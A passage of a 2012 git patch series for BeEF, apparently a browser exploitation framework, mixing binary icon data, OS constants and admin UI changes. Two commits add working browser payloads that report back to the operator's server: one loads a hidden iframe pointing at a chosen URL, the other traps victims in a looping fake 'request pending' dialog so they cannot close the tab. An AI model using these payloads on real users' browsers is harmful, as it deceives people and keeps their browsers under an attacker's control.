zQUZrWzq9m6vTc_Sggr7e?B>yylYl!%HE6q#h{4u!JTYg$mcXEq%!Onb8k3~BZCFz) z`rki}&22lg#V#Z+#;sI2nv#6byoZ56sx4juA(6(-y;A3_Ifciaj1@m0o{I?*eMf!Q zE(G2`se0Lx&f|8fAAv#3J{~RUEP>pmaRdhUGS^K$$5Bd6Guxb=()8r#rnriy n*-@PjH=&W70^8P)ymxw^(qOVYvK$^)#pKNXdtfdAnag~pAM literal 0 HcmV?d00001 diff --git a/extensions/admin_ui/media/images/icons/sony_ericsson.png b/extensions/admin_ui/media/images/icons/sony_ericsson.png new file mode 100644 index 0000000000000000000000000000000000000000..1dab4a8d22933dfd98c9440fe9913949378da4e9 GIT binary patch literal 4643 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 Z{tv-P$)1TCTC4y7002ovPDHLkV1h#r*JJ Date: Wed, 27 Jun 2012 01:50:07 +0930 Subject: [PATCH 09/13] Added module: Create Invisible Iframe --- modules/misc/invisible_iframe/command.js | 24 +++++++++++++++++++ modules/misc/invisible_iframe/config.yaml | 25 ++++++++++++++++++++ modules/misc/invisible_iframe/module.rb | 28 +++++++++++++++++++++++ 3 files changed, 77 insertions(+) create mode 100644 modules/misc/invisible_iframe/command.js create mode 100644 modules/misc/invisible_iframe/config.yaml create mode 100644 modules/misc/invisible_iframe/module.rb diff --git a/modules/misc/invisible_iframe/command.js b/modules/misc/invisible_iframe/command.js new file mode 100644 index 000000000..a0763583c --- /dev/null +++ b/modules/misc/invisible_iframe/command.js @@ -0,0 +1,24 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +beef.execute(function() { + + var target = "<%= @target %>"; + var iframe_<%= @command_id %> = beef.dom.createInvisibleIframe(); + iframe_<%= @command_id %>.setAttribute('src', target); + + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'result=IFrame created'); + +}); diff --git a/modules/misc/invisible_iframe/config.yaml b/modules/misc/invisible_iframe/config.yaml new file mode 100644 index 000000000..b391c048a --- /dev/null +++ b/modules/misc/invisible_iframe/config.yaml @@ -0,0 +1,25 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + invisible_iframe: + enable: true + category: "Misc" + name: "Create Invisible Iframe" + description: "Creates an invisible iframe." + authors: ["bcoles"] + target: + working: ["ALL"] diff --git a/modules/misc/invisible_iframe/module.rb b/modules/misc/invisible_iframe/module.rb new file mode 100644 index 000000000..1bfb45b60 --- /dev/null +++ b/modules/misc/invisible_iframe/module.rb @@ -0,0 +1,28 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Invisible_iframe < BeEF::Core::Command + + def self.options + return [ + {'name' => 'target', 'ui_label' => 'URL', 'value' => 'http://beefproject.com/'} + ] + end + + def post_execute + save({'result' => @datastore['result']}) + end + +end From 473f71e42dda16a31ef1fb96859665e2fc92f893 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Wed, 27 Jun 2012 10:23:43 +0100 Subject: [PATCH 10/13] Added missing WebOS constant/image that were preventing admin_ui to work properly. --- core/main/constants/os.rb | 129 +++++++++--------- .../admin_ui/media/images/icons/webos.png | Bin 0 -> 6621 bytes 2 files changed, 65 insertions(+), 64 deletions(-) create mode 100644 extensions/admin_ui/media/images/icons/webos.png diff --git a/core/main/constants/os.rb b/core/main/constants/os.rb index 15c8a1b67..7f94ba0c4 100644 --- a/core/main/constants/os.rb +++ b/core/main/constants/os.rb @@ -15,73 +15,74 @@ # module BeEF -module Core -module Constants - - # @note The OS'es strings for os detection. - module Os - - OS_UNKNOWN_IMG = 'unknown.png' - OS_WINDOWS_UA_STR = 'Windows' - OS_WINDOWS_IMG = 'win.png' - OS_LINUX_UA_STR = 'Linux' - OS_LINUX_IMG = 'linux.png' - OS_MAC_UA_STR = 'Mac' - OS_MAC_IMG = 'mac.png' - OS_QNX_UA_STR = 'QNX' - OS_QNX_IMG = 'qnx.ico' - OS_BEOS_UA_STR = 'BeOS' - OS_BEOS_IMG = 'beos.png' - OS_OPENBSD_UA_STR = 'OpenBSD' - OS_OPENBSD_IMG = 'openbsd.ico' - OS_IOS_UA_STR = 'iOS' - OS_IOS_IMG = 'ios.png' - OS_IPHONE_UA_STR = 'iPhone' - OS_IPHONE_IMG = 'iphone.jpg' - OS_IPAD_UA_STR = 'iPad' - OS_IPAD_IMG = 'ipad.png' - OS_IPOD_UA_STR = 'iPod' - OS_IPOD_IMG = 'ipod.jpg' - OS_MAEMO_UA_STR = 'Maemo' - OS_MAEMO_IMG = 'maemo.ico' - OS_BLACKBERRY_UA_STR = 'BlackBerry' - OS_BLACKBERRY_IMG = 'blackberry.png' - OS_ANDROID_UA_STR = 'Android' - OS_ANDROID_IMG = 'android.png' - OS_ALL_UA_STR = 'All' + module Core + module Constants + + # @note The OS'es strings for os detection. + module Os + + OS_UNKNOWN_IMG = 'unknown.png' + OS_WINDOWS_UA_STR = 'Windows' + OS_WINDOWS_IMG = 'win.png' + OS_LINUX_UA_STR = 'Linux' + OS_LINUX_IMG = 'linux.png' + OS_MAC_UA_STR = 'Mac' + OS_MAC_IMG = 'mac.png' + OS_QNX_UA_STR = 'QNX' + OS_QNX_IMG = 'qnx.ico' + OS_BEOS_UA_STR = 'BeOS' + OS_BEOS_IMG = 'beos.png' + OS_OPENBSD_UA_STR = 'OpenBSD' + OS_OPENBSD_IMG = 'openbsd.ico' + OS_IOS_UA_STR = 'iOS' + OS_IOS_IMG = 'ios.png' + OS_IPHONE_UA_STR = 'iPhone' + OS_WEBOS_UA_STR = 'webos.png' + OS_IPHONE_IMG = 'iphone.jpg' + OS_IPAD_UA_STR = 'iPad' + OS_IPAD_IMG = 'ipad.png' + OS_IPOD_UA_STR = 'iPod' + OS_IPOD_IMG = 'ipod.jpg' + OS_MAEMO_UA_STR = 'Maemo' + OS_MAEMO_IMG = 'maemo.ico' + OS_BLACKBERRY_UA_STR = 'BlackBerry' + OS_BLACKBERRY_IMG = 'blackberry.png' + OS_ANDROID_UA_STR = 'Android' + OS_ANDROID_IMG = 'android.png' + OS_ALL_UA_STR = 'All' # Attempt to match operating system string to constant # @param [String] name Name of operating system # @return [String] Constant name of matched operating system, returns 'ALL' if nothing are matched - def self.match_os(name) - case name.downcase - when /win/ - OS_WINDOWS_UA_STR - when /lin/ - OS_LINUX_UA_STR - when /os x/, /osx/, /mac/ - OS_MAC_UA_STR - when /qnx/ - OS_QNX_UA_STR - when /beos/ - OS_BEOS_UA_STR - when /openbsd/ - OS_OPENBSD_UA_STR - when /ios/, /iphone/, /ipad/, /ipod/ - OS_IOS_UA_STR - when /maemo/ - OS_MAEMO_UA_STR - when /blackberry/ - OS_BLACKBERRY_UA_STR - when /android/ - OS_ANDROID_UA_STR - else - 'ALL' - end - end - + def self.match_os(name) + case name.downcase + when /win/ + OS_WINDOWS_UA_STR + when /lin/ + OS_LINUX_UA_STR + when /os x/, /osx/, /mac/ + OS_MAC_UA_STR + when /qnx/ + OS_QNX_UA_STR + when /beos/ + OS_BEOS_UA_STR + when /openbsd/ + OS_OPENBSD_UA_STR + when /ios/, /iphone/, /ipad/, /ipod/ + OS_IOS_UA_STR + when /maemo/ + OS_MAEMO_UA_STR + when /blackberry/ + OS_BLACKBERRY_UA_STR + when /android/ + OS_ANDROID_UA_STR + else + 'ALL' + end + end + + end + + end end - -end -end end diff --git a/extensions/admin_ui/media/images/icons/webos.png b/extensions/admin_ui/media/images/icons/webos.png new file mode 100644 index 0000000000000000000000000000000000000000..d5c0b70d7e766842e52f00a2e9c912feff9b6ea4 GIT binary patch literal 6621 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 beE0tcPUKD)3OU|*00000NkvXXu0mjfp1*}o literal 0 HcmV?d00001 From 3b72f43ad4fb13aadd5ab22dd117f42cb267b657 Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Wed, 27 Jun 2012 11:24:35 +0100 Subject: [PATCH 11/13] Fixes issue #710 : added Confirm Close Tab module --- .../persistence/confirm_close_tab/command.js | 45 +++++++++++++++++++ .../persistence/confirm_close_tab/config.yaml | 26 +++++++++++ .../persistence/confirm_close_tab/module.rb | 22 +++++++++ 3 files changed, 93 insertions(+) create mode 100644 modules/persistence/confirm_close_tab/command.js create mode 100644 modules/persistence/confirm_close_tab/config.yaml create mode 100644 modules/persistence/confirm_close_tab/module.rb diff --git a/modules/persistence/confirm_close_tab/command.js b/modules/persistence/confirm_close_tab/command.js new file mode 100644 index 000000000..1609bcab7 --- /dev/null +++ b/modules/persistence/confirm_close_tab/command.js @@ -0,0 +1,45 @@ +// +// Copyright 2012 Wade Alcorn wade@bindshell.net +// +// Licensed under the Apache License, Version 2.0 (the "License"); +// you may not use this file except in compliance with the License. +// You may obtain a copy of the License at +// +// http://www.apache.org/licenses/LICENSE-2.0 +// +// Unless required by applicable law or agreed to in writing, software +// distributed under the License is distributed on an "AS IS" BASIS, +// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +// See the License for the specific language governing permissions and +// limitations under the License. +// +beef.execute(function() { + + function display_confirm(){ + if(confirm("Are you sure you want to navigate away from this page?\n\n There is currently a request to the server pending. You will lose recent changes by navigating away.\n\n Press OK to continue, or Cancel to stay on the current page.")){ + display_confirm(); + } + } + + function dontleave(e){ + e = e || window.event; + + if(beef.browser.isIE()){ + e.cancelBubble = true; + e.returnValue = "There is currently a request to the server pending. You will lose recent changes by navigating away."; + }else{ + if (e.stopPropagation) { + e.stopPropagation(); + e.preventDefault(); + } + } + + //re-display the confirm dialog if the user clicks OK (to leave the page) + display_confirm(); + return "There is currently a request to the server pending. You will lose recent changes by navigating away."; + } + + window.onbeforeunload = dontleave; + + beef.net.send('<%= @command_url %>', <%= @command_id %>, 'Module executed successfully'); +}); diff --git a/modules/persistence/confirm_close_tab/config.yaml b/modules/persistence/confirm_close_tab/config.yaml new file mode 100644 index 000000000..62bcd36e6 --- /dev/null +++ b/modules/persistence/confirm_close_tab/config.yaml @@ -0,0 +1,26 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +beef: + module: + confirm_close_tab: + enable: true + category: "Persistence" + name: "Confirm Close Tab" + description: "Shows a confirm dialog to the user when he tries to close a tab. If he click yes, re-display the confirm dialog. Doesn't work on Opera < 12" + authors: ["antisnatchor"] + target: + user_notify: ["ALL"] + not_working: ["O"] \ No newline at end of file diff --git a/modules/persistence/confirm_close_tab/module.rb b/modules/persistence/confirm_close_tab/module.rb new file mode 100644 index 000000000..e38abbfd5 --- /dev/null +++ b/modules/persistence/confirm_close_tab/module.rb @@ -0,0 +1,22 @@ +# +# Copyright 2012 Wade Alcorn wade@bindshell.net +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +class Confirm_close_tab < BeEF::Core::Command + + def post_execute + save({'result' => @datastore['result']}) + end + +end From 727c746303f9b33c075a21df4b2f6f704855cdfd Mon Sep 17 00:00:00 2001 From: antisnatchor Date: Wed, 27 Jun 2012 12:28:09 +0100 Subject: [PATCH 12/13] Added Java to the baloon popup of the admin_ui, and removed phonegap. --- .../admin_ui/controllers/panel/panel.rb | 207 +++++++++--------- .../media/javascript/ui/panel/ZombiesMgr.js | 6 +- 2 files changed, 107 insertions(+), 106 deletions(-) diff --git a/extensions/admin_ui/controllers/panel/panel.rb b/extensions/admin_ui/controllers/panel/panel.rb index 6c101681a..a1a35998b 100644 --- a/extensions/admin_ui/controllers/panel/panel.rb +++ b/extensions/admin_ui/controllers/panel/panel.rb @@ -14,114 +14,115 @@ # limitations under the License. # module BeEF -module Extension -module AdminUI -module Controllers + module Extension + module AdminUI + module Controllers # # # -class Panel < BeEF::Extension::AdminUI::HttpController - - def initialize - super({ - 'paths' => { - '/' => method(:index), - '/hooked-browser-tree-update.json' => method(:hooked_browser_tree_update) - } - }) - end - - # default index page - def index; end - - # return a JSON object contains all the updates for the hooked browser trees - def 